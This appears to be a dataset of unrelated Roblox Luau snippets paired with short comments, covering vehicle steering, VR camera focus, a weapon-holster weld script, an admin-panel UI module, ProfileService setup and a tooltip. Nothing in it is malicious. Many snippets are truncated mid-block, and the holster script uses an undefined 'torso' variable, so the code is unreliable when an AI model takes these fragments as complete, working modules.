function Chassis.UpdateSteering(steer, currentVel)
local baseSteer = steer
local targetSteer = 0
local vehicleSeat = Chassis.GetDriverSeat()
local maxSpeed = VehicleParameters.MaxSpeed
local maxSteer = VehicleParameters.MaxSteer
local currentVelocity = vehicleSeat.Velocity
if LimitSteerAtHighVel then
local c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1
--decrease steer value as speed increases to prevent tipping (handbrake cancels this)
steer = steer/c
end
SteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer
end
function Chassis.UpdateThrottle(currentVel, throttle)
local targetVel = 0
if math.abs(throttle) < 0.1 then
-- Idling
setMotorMaxAcceleration(math.huge)
setMotorTorque(2000)
elseif math.sign(throttle * currentVel) > 0 or math.abs(currentVel) < 0.5 then
setMotorMaxAcceleration(math.huge)
local velocityVector = Chassis.driverSeat.Velocity.Unit
local directionalVector = Chassis.driverSeat.CFrame.lookVector
local dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0
setMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle))
-- Arbitrary large number
local movingBackwards = dotProd < 0
local acceleratingBackwards = throttle < 0
local useReverse = (movingBackwards and acceleratingBackwards)
targetVel = math.sign(throttle) * (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed)
else
-- Braking
setMotorMaxAcceleration(100)
setMotorTorque(ActualBrakingTorque * throttle * throttle)
targetVel = math.sign(throttle) * 500
end
Chassis.SetMotorVelocity( targetVel )
end
local redressingState = false
local targetAttachment
function Chassis.Redress()
if redressingState then
return
end
redressingState = true
local p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 )
local xc = Chassis.driverSeat.CFrame.RightVector
xc = Vector3.new(xc.x,0,xc.z)
xc = xc.Unit
local yc = Vector3.new(0,1,0)
if not targetAttachment then
targetAttachment = RedressMount.RedressTarget
end
targetAttachment.Parent = Workspace.Terrain
targetAttachment.Position = p
targetAttachment.Axis = xc
targetAttachment.SecondaryAxis = yc
RedressMount.RedressOrientation.Enabled = true
RedressMount.RedressPosition.Enabled = true
wait(1.5)
RedressMount.RedressOrientation.Enabled = false
RedressMount.RedressPosition.Enabled = false
targetAttachment.Parent = RedressMount
wait(2)
redressingState = false
end
function Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle)
Chassis.UpdateThrottle(1, 1) --Values must be changed to replicate to client.
Chassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients
Chassis.EnableHandbrake()
setMotorTorque(ActualBrakingTorque)
Chassis.SetMotorVelocity(0)
Chassis.UpdateSteering(0, 0)
RedressMount.RedressOrientation.Enabled = true
RedressMount.RedressPosition.Enabled = true
RedressMount.RedressOrientation.Enabled = false
RedressMount.RedressPosition.Enabled = false
redressingState = false
end
return Chassis
|
-- defines subject and height of VR camera
|
function VRBaseCamera:GetVRFocus(subjectPosition, timeDelta)
local lastFocus = self.lastCameraFocus or subjectPosition
self.cameraTranslationConstraints = Vector3.new(
self.cameraTranslationConstraints.x,
math.min(1, self.cameraTranslationConstraints.y + timeDelta),
self.cameraTranslationConstraints.z)
local cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0)
local newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):
lerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y))
return newFocus
end
|
-- EDIT THE TEXTS.
|
CONTENT.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW CONTENT.
CONTENT.Content2.Content.Text = "Content"
CONTENT.Content3.Content.Text = "Content"
CONTENT.Content4.Content.Text = "Content"
CONTENT.Content5.Content.Text = "Content"
CONTENT.Content6.Content.Text = "Content"
CONTENT.Content7.Content.Text = "Content"
CONTENT.Content8.Content.Text = "Content"
CONTENT.Content9.Content.Text = "Content"
CONTENT.Content10.Content.Text = "Content"
|
--to use: put in type of gun: barrel point left, barrel point right or bull-pup(main hande is in the middle of the gun)
|
--step 2: put in what type of wepoan it is: assult rifle or pistol(there will be more)
guntype = 1 --1 is assult rifle, 2 is bullpup, 3 is pistol, 4 is knife
weldmode = 1 --1 is barrel point upper-left, 2 is barrel pointing upper-right, 3 is barrel point lower-left and 4 is barrel point lower-right
-------(note: if it is pistol or knife then 1 is on right leg, 2 is on left leg, 3 is in the back of your pants and 4 is in the front of your pants)
model = nil --gun model, that is
distance = 0.75 --this is the distance between the part(torso/leg) and the gun. DON'T MAKE negitive
rotation = 135 --this is the turning in degrees.
--this area is mode more for someone who's already good at gun's. please do not get mad at me if you don't understand what's under here
y = 2 --this is what's added to the current y value. positive number's make it go down. negative make's it go up
x = -.75 --this is what's added to the x value(it's really the z value but it look's like the x value when on your back). positive number's make it go left. negative make's it go right
parts = {}
local n = 1
function on(mouse)
if model == nil then
n = 1
local m = Instance.new("Model")
local all = script.Parent:GetChildren()
for i = 1, #all do
if all[i].className == "Part" then
parts[n] = all[i].Transparency
local brick = all[i]:clone()
brick.Parent = m
n = n +1
end
end
wait()
if model == nil then
local weld = script:FindFirstChild("Weld2")
if weld ~= nil then
local new = weld:clone()
new.Disabled = false
new.Parent = m
m.Name = script.Parent.Name
m.Parent = script.Parent.Parent
model = m
local handle = model:FindFirstChild("Handle")
if handle ~= nil then
if guntype == 1 then
local torso = model.Parent:FindFirstChild("Torso")
if torso ~= nil then
if weldmode == 1 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0)
elseif weldmode == 2 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0)
elseif weldmode == 3 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, -0.1+y, 0.2 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), -1.5)
elseif weldmode == 4 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1.1, 1)
end
end
elseif guntype == 2 then
local torso = model.Parent:FindFirstChild("Torso")
if torso ~= nil then
if weldmode == 1 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0.25+y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2, 0)
elseif weldmode == 2 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2 *-1, 0)
elseif weldmode == 3 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2, 0)
elseif weldmode == 4 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2 *-1, 0)
end
end
elseif guntype == 3 then
local lleg = model.Parent:FindFirstChild("Left Leg")
local rleg = model.Parent:FindFirstChild("Right Leg")
if lleg ~= nil and rleg ~= nil then
if weldmode == 1 then
local w = Instance.new("Weld")
w.Part0 = rleg
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
elseif weldmode == 2 then
local w = Instance.new("Weld")
w.Part0 = lleg
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
elseif weldmode == 3 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2, 0)
elseif weldmode == 4 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2 *-1, 0)
end
end
elseif guntype == 4 then
local lleg = model.Parent:FindFirstChild("Left Leg")
local rleg = model.Parent:FindFirstChild("Right Leg")
local torso = model.Parent:FindFirstChild("Torso")
if lleg ~= nil and rleg ~= nil and torso ~= nil then
if weldmode == 1 then
local w = Instance.new("Weld")
w.Part0 = rleg
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
elseif weldmode == 2 then
local w = Instance.new("Weld")
w.Part0 = lleg
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
elseif weldmode == 3 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2, 0)
elseif weldmode == 4 then
local w = Instance.new("Weld")
w.Part0 = torso
w.Parent = w.Part0
w.Part1 = handle
w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2 *-1, 0)
end
end
end
end
end
end
end
if model ~= nil then
n = 1
local all = model:GetChildren()
for i = 1, #all do
if all[i].className == "Part" then
all[i].Transparency = 1
end
end
end
end
function off(mouse)
if model ~= nil then
n = 1
local all = model:GetChildren()
for i = 1, #all do
if all[i].className == "Part" then
all[i].Transparency = parts[n]
local Do = true
if Do then
Do = false
n = n +1
end
end
end
end
end
script.Parent.Equipped:connect(on)
script.Parent.Unequipped:connect(off)
|
--How to do:
--Put BassParts in body
--And this script in DriverSeat
--Please make sure to have the songMod installed!
|
if script.Parent:IsA("VehicleSeat") then
script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
local p= game.Players:GetPlayerFromCharacter(child.Part1.Parent)
local g= script.SendBass:Clone()
g.Parent=p.PlayerGui
g.src.Value = script.BassEvent
g.Disabled = false
end
end)
script.Parent.ChildRemoved:Connect(function(child)
if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
end
end)
end
script.BassEvent.OnServerEvent:Connect(function(plr, bass)
local car = script.Parent.Parent
local bassParts = car.Body.BassParts
for i,v in pairs(bassParts:GetChildren()) do
if v:IsA("MeshPart") then
local vectorSize = v:FindFirstChild("VectorSize")
if bass <= v.MaxBassSize.Value then
v.Size = Vector3.new(vectorSize.Value.X,bass/v.BassSize.Value,vectorSize.Value.Z)
else
v.Size = Vector3.new(vectorSize.Value.X,v.MaxBassSize.Value/v.BassSize.Value,vectorSize.Value.Z)
end
end
end
end)
|
--[=[
@return boolean
Returns `true` if the gamepad is currently connected.
]=]
|
function Gamepad:IsConnected(): boolean
return if self._gamepad then UserInputService:GetGamepadConnected(self._gamepad) else false
end
|
--// Processing
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Deps = client.Deps;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.UI = {
Init = Init;
GetHolder = function()
if UI.Holder and UI.Holder.Parent == service.PlayerGui then
return UI.Holder
else
pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
local new=Instance.new'ScreenGui'
new.Name = Functions.GetRandom()
new.Parent=service.PlayerGui
UI.Holder = new
return UI.Holder
end
end;
Prepare = function(gui)
if true then return gui end --// Disabled
local gTable = UI.Get(gui,false,true)
if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
local new = Instance.new("TextLabel")
new.BackgroundTransparency = 1
new.Size = UDim2.new(1,0,1,0)
new.Name = gui.Name
new.Active = true
new.Text = ""
for ind,child in next,gui:GetChildren()do
child.Parent = new
end
if gTable then
gTable:Register(new)
end
gui:Destroy()
return new
else
return gui
end
end;
LoadModule = function(module, data, env)
local ran,func = pcall(require, module)
local newEnv = GetEnv(env)
local data = data or{}
newEnv.script = module
newEnv.client = service.CloneTable(client)
newEnv.service = service.CloneTable(service)
newEnv.service.Threads = service.CloneTable(service.Threads)
for i,v in next,newEnv.client do
if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
newEnv.client[i] = service.CloneTable(v)
end
end
if ran then
local rets = {service.TrackTask("UI: ".. module:GetFullName(), setfenv(func,newEnv), data)}
local ran = rets[1]
if ran then
return unpack(rets,2)
else
warn("Error while running module "..module.Name,tostring(rets[2]))
client.LogError("Error loading "..tostring(module).." - "..tostring(rets[2]))
end
else
warn("Error while loading module "..module.Name,tostring(func))
end
end;
GetNew = function(theme, name)
local found = {}
local endConfig = {}
local endConfValues = {}
local confFolder = Instance.new("Folder")
local func
function func(theme, name, depth)
local depth = (depth or 11) - 1
local folder = Deps.UI:FindFirstChild(theme) or Deps.UI.Default
if folder then
local baseValue = folder:FindFirstChild("Base_Theme")
local baseTheme = baseValue and baseValue.Value
local foundGUI = (baseValue and folder:FindFirstChild(name)) or Deps.UI.Default:FindFirstChild(name)
if foundGUI then
local config = foundGUI:FindFirstChild("Config")
table.insert(found, {
Theme = theme;
Folder = folder;
Name = name;
Found = foundGUI;
Config = config;
isModule = foundGUI:IsA("ModuleScript");
})
if config then
baseValue = config:FindFirstChild("BaseTheme") or baseValue
baseTheme = baseValue and baseValue.Value
end
end
if baseTheme and depth > 0 then
func(baseTheme, name, depth)
end
end
end
--// Find GUI and all default versions under it
func(theme, name)
confFolder.Name = "Config"
if #found > 0 then
--// Combine all configs found in order to build full config (in order of closest from target gui to furthest)
for i,v in next,found do
if v.Config then
for k,m in next,v.Config:GetChildren() do
if not endConfig[m.Name] then
endConfig[m.Name] = m
end
end
end
end
--// Load all config values into the new Config folder
for i,v in next,endConfig do
v:Clone().Parent = confFolder
end
--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
if found[1].isModule then
return found[1].Found, found[1].Folder, confFolder
elseif not endConfig.Code then
for i,v in next,found do
if v.isModule then
return v.Found, v.Folder, confFolder
end
end
end
--// Get rid of an old Config folder and throw the new combination Config folder in
local new = found[1].Found:Clone()
local oldFolder = new:FindFirstChild'Config'
if oldFolder then oldFolder:Destroy() end
confFolder.Parent = new
return new, found[1].Folder, confFolder
end
end;
Make = function(name, data, themeData)
local data = data or {}
local defaults = {Desktop = "Default"; Mobile = "Mobilius"}
local themeData = themeData or Core.Theme or defaults
local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
local folder = Deps.UI:FindFirstChild(theme) or Deps.UI.Default
local newGui, folder2, foundConf = UI.GetNew(theme, name)
if newGui then
local isModule = newGui:IsA("ModuleScript")
local conf = newGui:FindFirstChild("Config")
if isModule then
return UI.LoadModule(newGui, data, {
script = newGui;
})
elseif conf and foundConf and foundConf ~= true then
local code = foundConf.Code
local mult = foundConf.AllowMultiple
local keep = foundConf.CanKeepAlive
local allowMult = mult and mult.Value or true
local found, num = UI.Get(name)
if not found or ((num and num>0) and allowMult) then
local gTable,gIndex = UI.Register(newGui)
local newEnv = {}
if folder:IsA("ModuleScript") then
newEnv.script = folder
newEnv.gTable = gTable
local ran,func = pcall(require, folder)
local newEnv = GetEnv(newEnv)
local rets = {pcall(setfenv(func,newEnv),newGui, gTable, data)}
local ran = rets[1]
local ret = rets[2]
if ret ~= nil then
if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
code = (ret:FindFirstChild("Config") and ret.Config:FindFirstChild("Code")) or code
else
return ret
end
end
end
newGui.Parent = Variables.GUIHolder
newGui.Name = Functions.GetRandom()
data.gIndex = gIndex
data.gTable = gTable
code.Parent = conf
code.Name = name
return UI.LoadModule(code, data, {
script = code;
gTable = gTable;
Data = data;
GUI = newGui;
})
end
end
else
print("GUI "..tostring(name).." not found")
end
end;
Get = function(obj,ignore,returnOne)
local found = {}
local num = 0
if obj then
for ind,g in next,client.GUIs do
if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
if type(obj) == "string" then
if g.Name == obj then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "userdata" then
if service.RawEqual(g.Object, obj) then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "boolean" and obj == true then
found[ind] = g
num = num+1
if returnOne then return g end
end
end
end
end
if num<1 then
return false
else
return found,num
end
end;
Remove = function(name, ignore)
local gui = UI.Get(name, ignore)
if gui then
for i,v in next,gui do
v.Destroy()
end
end
end;
Register = function(gui, data)
local gIndex = Functions.GetRandom()
local gTable;gTable = {
Object = gui,
Config = gui:FindFirstChild'Config';
Name = gui.Name,
Events = {},
Class = gui.ClassName,
Index = gIndex,
Active = true,
Ready = function()
if gTable.Config then gTable.Config.Parent = nil end
if pcall(function()
if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
gTable.Object.Parent = service.PlayerGui
else
gTable.Object.Parent = UI.GetHolder()
end
end) then
gTable.Active = true
else
warn("Something happened while trying to set the parent of "..tostring(gTable.Name))
warn'Maybe it was locked (Destroyed)?'
gTable:Destroy()
end
end,
BindEvent = function(event, func)
local signal = event:connect(func)
local origDisc = signal.Disconnect
local Events = gTable.Events
local disc = function()
origDisc(signal)
for i,v in next, Events do
if v.Signal == signal then
table.remove(Events, i)
end
end
end
table.insert(Events, {
Signal = signal;
Remove = disc
})
return {
Disconnect = disc;
disconnect = disc;
wait = service.CheckProperty(signal, "wait") and signal.wait
}, signal
end,
ClearEvents = function()
for i,v in next,gTable.Events do
v:Remove()
end
end,
Destroy = function()
pcall(function()
if gTable.CustomDestroy then
gTable.CustomDestroy()
else
service.UnWrap(gTable.Object):Destroy()
end
end)
gTable.Destroyed = true
gTable.Active = false
client.GUIs[gIndex] = nil
gTable.ClearEvents()
end,
UnRegister = function()
client.GUIs[gIndex] = nil
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
end,
Register = function(tab,new)
if not new then new=tab end
new:SetSpecial("Destroy", gTable.Destroy)
gTable.Object = service.Wrap(new)
gTable.Class = new.ClassName
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
if client.GUIs[gIndex] then
if rawequal(c, gTable.Object) and gTable.Class == "TextLabel" and parent == service.PlayerGui then
wait()
gTable.Object.Parent = UI.GetHolder()
elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then
gTable:Destroy()
elseif rawequal(c, gTable.Object) and parent ~= nil then
gTable.Active = true
client.GUIs[gIndex] = gTable
end
end
end)
client.GUIs[gIndex] = gTable
end
}
if data then
for i,v in next,data do
gTable[i] = v
end
end
gui.Name = Functions.GetRandom()
gTable:Register(gui)
return gTable,gIndex
end
}
client.UI.RegisterGui = client.UI.Register
client.UI.GetGui = client.UI.Get
client.UI.PrepareGui = client.UI.Prepare
client.UI.MakeGui = client.UI.Make
end
|
--Main
|
warn("Server: Starting Internal Loader")
ModuleLoader.FindModules({
Main,
Local,
Shared,
SharedLocal
}, Modules)
ModuleLoader.LoadModules(ModuleCollection, Modules, StartQueue)
ModuleLoader.StartModules(StartQueue, ModuleCollection)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__StarterGui__1 = game:GetService("StarterGui");
local u2 = require(script.Parent.CmdrInterface.Window);
return function(p1)
p1:HandleEvent("Message", function(p2)
l__StarterGui__1:SetCore("ChatMakeSystemMessage", {
Text = ("[Announcement] %s"):format(p2),
Color = Color3.fromRGB(249, 217, 56)
});
end);
p1:HandleEvent("AddLine", function(...)
u2:AddLine(...);
end);
end;
|
--[=[
Makes a copy of the set, making the values as true.
@param set table
@return table
]=]
|
function Set.copy(set)
local newSet = {}
for key, _ in pairs(set) do
newSet[key] = true
end
return newSet
end
|
--[[
Kinda cringe, but intersection types don't seem to work when exporting, hence the repetition.
]]
|
export type Grid = {
Ref: UIGridLayout,
Paused: boolean,
Destroyed: boolean,
DoUpdatePadding: boolean,
DoUpdateSize: boolean,
DoUpdateCanvas: boolean,
UpdateSize: (Grid) -> nil,
UpdatePadding: (Grid) -> nil,
UpdateCanvas: (Grid) -> nil,
Update: (Grid) -> nil,
Play: (Grid) -> nil,
Pause: (Grid) -> nil,
Destroy: (Grid) -> nil
}
export type List = {
Ref: UIListLayout,
Paused: boolean,
Destroyed: boolean,
DoUpdatePadding: boolean,
DoUpdateSize: boolean,
DoUpdateCanvas: boolean,
UpdateSize: (List) -> nil,
UpdatePadding: (List) -> nil,
UpdateCanvas: (List) -> nil,
Update: (List) -> nil,
Play: (List) -> nil,
Pause: (List) -> nil,
Destroy: (List) -> nil
}
return 0
|
--[[
Creates a new list that has no occurrences of the given value.
]]
|
local function removeValue(list, value)
local new = {}
local index = 1
for i = 1, #list do
if list[i] ~= value then
new[index] = list[i]
index = index + 1
end
end
return new
end
return removeValue
|
-- framePosition is top left corner
-- returns position, relativePosition, normal
|
function UICornerUtils.clampPositionToFrame(framePosition, frameSize, radius, point)
assert(radius > 0, "Bad radius")
assert(point, "Bad point")
local px, py = point.x, point.y
local fpx, fpy = framePosition.x, framePosition.y
local fsx, fsy = frameSize.x, frameSize.y
local minx = fpx + radius
local maxx = fpx + fsx - radius
local miny = fpy + radius
local maxy = fpy + fsy - radius
-- relative position to inner box
local rpx, rpy
if minx < maxx then
rpx = math.clamp(px, minx, maxx)
else
rpx = minx
end
if miny < maxy then
rpy = math.clamp(py, miny, maxy)
else
rpy = miny
end
local position = Vector2.new(rpx, rpy)
-- project in direction of offset
local direction = point - position
if direction.magnitude == 0 then
-- Shouldn't happen!
return nil, nil
end
local normal = direction.unit
local outsidePosition = position + normal*radius
return outsidePosition, normal
end
return UICornerUtils
|
-- EnumList
-- Stephen Leitnick
-- January 08, 2021
|
type EnumNames = { string }
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new()
local obj = setmetatable({}, methods)
obj.CompletedMessageProcessors = {}
obj.InProgressMessageProcessors = {}
obj:SetupCommandProcessors()
return obj
end
return module
|
--------------------
|
if game.Workspace.DoorFlashing.Value == true then
|
-- waitChildren/EventFolder does not contain all the remote events, because the server version could be older than the client version.
-- In that case it would not create the new events.
-- These events are accessed directly from DefaultChatSystemChatEvents
|
local useEvents = {}
local FoundAllEventsEvent = Instance.new("BindableEvent")
function TryRemoveChildWithVerifyingIsCorrectType(child)
if (waitChildren[child.Name] and child:IsA(waitChildren[child.Name])) then
waitChildren[child.Name] = nil
useEvents[child.Name] = child
numChildrenRemaining = numChildrenRemaining - 1
end
end
for i, child in pairs(EventFolder:GetChildren()) do
TryRemoveChildWithVerifyingIsCorrectType(child)
end
if (numChildrenRemaining > 0) then
local con = EventFolder.ChildAdded:connect(function(child)
TryRemoveChildWithVerifyingIsCorrectType(child)
if (numChildrenRemaining < 1) then
FoundAllEventsEvent:Fire()
end
end)
FoundAllEventsEvent.Event:Wait()
con:disconnect()
FoundAllEventsEvent:Destroy()
end
EventFolder = useEvents
|
-- Time from the first tap for it to be considered a double tap
|
local DOUBLE_TAP_THRESHOLD = 0.3
|
--[=[
@tag Component Class
@function HeartbeatUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Heartbeat`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:HeartbeatUpdate(dt)
end
```
]=]
--[=[
@tag Component Class
@function SteppedUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Stepped`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:SteppedUpdate(dt)
end
```
]=]
--[=[
@tag Component Class
@function RenderSteppedUpdate
@param dt number
@within Component
@client
If this method is present on a component, then it will be
automatically connected to `RunService.RenderStepped`. If
the `[Component].RenderPriority` field is found, then the
component will instead use `RunService:BindToRenderStep()`
to bind the function.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
-- Example that uses `RunService.RenderStepped` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:RenderSteppedUpdate(dt)
end
```
```lua
-- Example that uses `RunService:BindToRenderStep` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
-- Defining a RenderPriority will force the component to use BindToRenderStep instead
MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
function MyComponent:RenderSteppedUpdate(dt)
end
```
]=]
|
function Component:Destroy()
self[KEY_TROVE]:Destroy()
end
return Component
|
-- This was reverse engineered from usage, no specific flowtype or TS artifact
|
export type React_ElementProps<ElementType> = {
ref: React_Ref<ElementType>?,
key: React_Key?,
__source: Source?,
children: any?,
}
|
----- Initialize -----
|
if IsStudio == true then
IsLiveCheckActive = true
task.spawn(function()
local status, message = pcall(function()
-- This will error if current instance has no Studio API access:
DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time())
end)
local no_internet_access = status == false and string.find(message, "ConnectFail", 1, true) ~= nil
if no_internet_access == true then
warn("[ProfileService]: No internet access - check your network connection")
end
if status == false and
(string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled
string.find(message, "must publish", 1, true) ~= nil or -- Game must be published to access live keys
no_internet_access == true) then -- No internet access
UseMockDataStore = true
ProfileService._use_mock_data_store = true
print("[ProfileService]: Roblox API services unavailable - data will not be saved")
else
print("[ProfileService]: Roblox API services available - data will be saved")
end
IsLiveCheckActive = false
end)
end
|
--- Tooltip
|
return function(element, tooltipText)
--- Cancel if this is on mobile
if _L.Variables.Mobile then
return false
end
--- Variables
local events = {}
local tooltip
local cancel
--- Create tooltip folder (if it doesn't already exist)
local tooltipFolder = PlayerGui:FindFirstChild("TooltipsFolder")
if tooltipFolder == nil then
tooltipFolder = Instance.new("ScreenGui")
tooltipFolder.Name = "TooltipsFolder"
tooltipFolder.DisplayOrder = 999
tooltipFolder.Parent = PlayerGui
end
--- (Function) remove tooltip
local function remove()
if tooltip then
tooltip:Destroy()
tooltip = nil
end
end
--- (Function) create tooltip
local function create()
--- Remove any existing tooltips
tooltipFolder:ClearAllChildren()
--- Create tooltip
tooltip = Instance.new("TextLabel")
tooltip.BorderSizePixel = 0
tooltip.BackgroundColor3 = Color3.new(0.35, 0.35, 0.35)
tooltip.TextColor3 = Color3.new(1, 1, 1)
tooltip.FontSize = Enum.FontSize.Size18
tooltip.Font = Enum.Font.Highway
tooltip.Text = tooltipText
--- Calculate size
local textSize = _L.Services.TextService:GetTextSize(tooltip.Text, tooltip.TextSize, tooltip.Font, Vector2.new(175, 1000))
tooltip.Size = UDim2.new(0, textSize.X + 4, 0, textSize.Y + 2)
--
tooltip.Parent = tooltipFolder
--- Main
while not cancel and tooltip and tooltip.Parent and element do
--- Get positions
local mouseX, mouseY = _L.Player.Get("Mouse").X, _L.Player.Get("Mouse").Y
local guiSizeX, guiSizeY = element.AbsoluteSize.X, element.AbsoluteSize.Y
local guiPosX, guiPosY = element.AbsolutePosition.X, element.AbsolutePosition.Y
--- Is mouse still over? Should tooltip stay active?
if (mouseX > guiPosX - 10) and (mouseX < guiPosX + guiSizeX + 10) and (mouseY > guiPosY - 10) and (mouseY < guiPosY + guiSizeY + 10) then
--- Mouse
local mouse = _L.Player.Get("Mouse")
